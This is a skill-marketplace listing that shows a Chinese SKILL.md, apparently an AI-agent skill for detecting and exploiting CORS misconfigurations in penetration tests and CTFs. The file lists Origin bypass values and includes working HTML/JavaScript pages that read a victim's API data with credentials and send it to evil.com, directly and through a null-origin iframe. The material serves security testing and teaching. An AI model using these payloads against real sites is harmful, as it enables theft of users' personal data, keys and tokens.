Skip to main content

cors-misconfiguration

CORS 跨域配置错误检测与利用。当目标 API 返回 Access-Control-Allow-Origin 响应头、需要跨域访问敏感数据、或发现 Origin 头被反射回响应中时使用。可导致用户敏感数据窃取

ソース情報

リポジトリ
wgpsec/AboutSecurity
ソースの最終更新活動
2026年4月23日 03:16
検出された SKILL.md の言語
中国語
スター
1,838
フォーク
257

インストール方法

デフォルトでは、最初にソースを確認する Prompt が選択されています。直接コマンドに切り替えるか、ローカルコピーをダウンロードすることもできます。

ソースファイルを確認

インストールを決める前に、SKILL.md と SkillsMP に表示されている付属ファイルをお読みください。

ファイルエクスプローラー
3 ファイル

SKILL.md を表示中

SKILL.md
ソースの指示 · 読み取り専用プレビュー
name
cors-misconfiguration
description
CORS 跨域配置错误检测与利用。当目标 API 返回 Access-Control-Allow-Origin 响应头、需要跨域访问敏感数据、或发现 Origin 头被反射回响应中时使用。可导致用户敏感数据窃取
metadata
{"tags":"cors,cross-origin,跨域,access-control,origin,credentials,preflight","category":"exploit"}
# CORS 配置错误方法论 CORS(Cross-Origin Resource Sharing)错误配置允许恶意网站跨域读取目标站点的敏感数据。关键在于 `Access-Control-Allow-Origin` 和 `Access-Control-Allow-Credentials` 两个响应头。 ## Phase 1: 检测 CORS 配置 ### 1.1 发送带 Origin 的请求 ``` http_request url="http://target/api/userinfo" headers={"Origin":"https://evil.com"} ``` 检查响应头: - `Access-Control-Allow-Origin: https://evil.com` → 反射任意 Origin(**危险**) - `Access-Control-Allow-Origin: *` → 通配符(通常无法携带 Cookie) - `Access-Control-Allow-Credentials: true` → 允许携带 Cookie(**和反射 Origin 组合 = 严重漏洞**) - 无 ACAO 头 → CORS 正确拒绝 ### 1.2 测试 Origin 校验绕过 ``` # 空 Origin Origin: null # 子域名 Origin: https://evil.target.com Origin: https://target.com.evil.com # 前缀/后缀匹配 Origin: https://attackertarget.com Origin: https://target.com.attacker.com # 特殊协议 Origin: http://target.com (HTTPS 站点接受 HTTP Origin) ``` ### 1.3 危险组合判断 | Allow-Origin | Allow-Credentials | 风险等级 | |-------------|-------------------|----------| | 反射任意 Origin | true | **严重** — 可跨域窃取用户数据 | | `null` | true | **高** — iframe sandbox 可设置 null origin | | `*` | false | **低** — 不能携带 Cookie,通常只暴露公开数据 | | 固定白名单 | true | 安全(除非白名单中有你控制的域名)| ## Phase 2: 利用 CORS 错误配置 ### 2.1 反射 Origin + Credentials(最常见) 目标返回: ``` Access-Control-Allow-Origin: https://evil.com Access-Control-Allow-Credentials: true ``` 构造窃取页面: ```html <script> fetch('http://target/api/userinfo', {credentials: 'include'}) .then(r => r.json()) .then(data => { // 发送到攻击者服务器 fetch('http://evil.com/log?data=' + JSON.stringify(data)); }); </script> ``` ### 2.2 null Origin 利用 如果 `Access-Control-Allow-Origin: null`,用 iframe sandbox 触发: ```html <iframe sandbox="allow-scripts allow-forms" srcdoc=" <script> fetch('http://target/api/userinfo', {credentials: 'include'}) .then(r => r.text()) .then(d => fetch('http://evil.com/log?d=' + encodeURIComponent(d))); </script> "></iframe> ``` ## Phase 3: 数据获取 CORS 利用成功后,可以读取的敏感数据: - 用户个人信息(`/api/profile`, `/api/userinfo`) - API 密钥和 Token - 内部 API 数据 - 管理员面板数据 **CTF 中**:Flag 通常在需要管理员 Cookie 才能访问的 API 中。 ## 注意事项 - CORS 漏洞需要受害者访问攻击者页面才能触发(类似 CSRF/XSS) - 纯 `Access-Control-Allow-Origin: *` 不允许 `credentials: include`,风险较低 - 检查 preflight(OPTIONS)请求的处理——有些框架只在 GET 上设置 CORS,不在 OPTIONS 上
GitHubで見る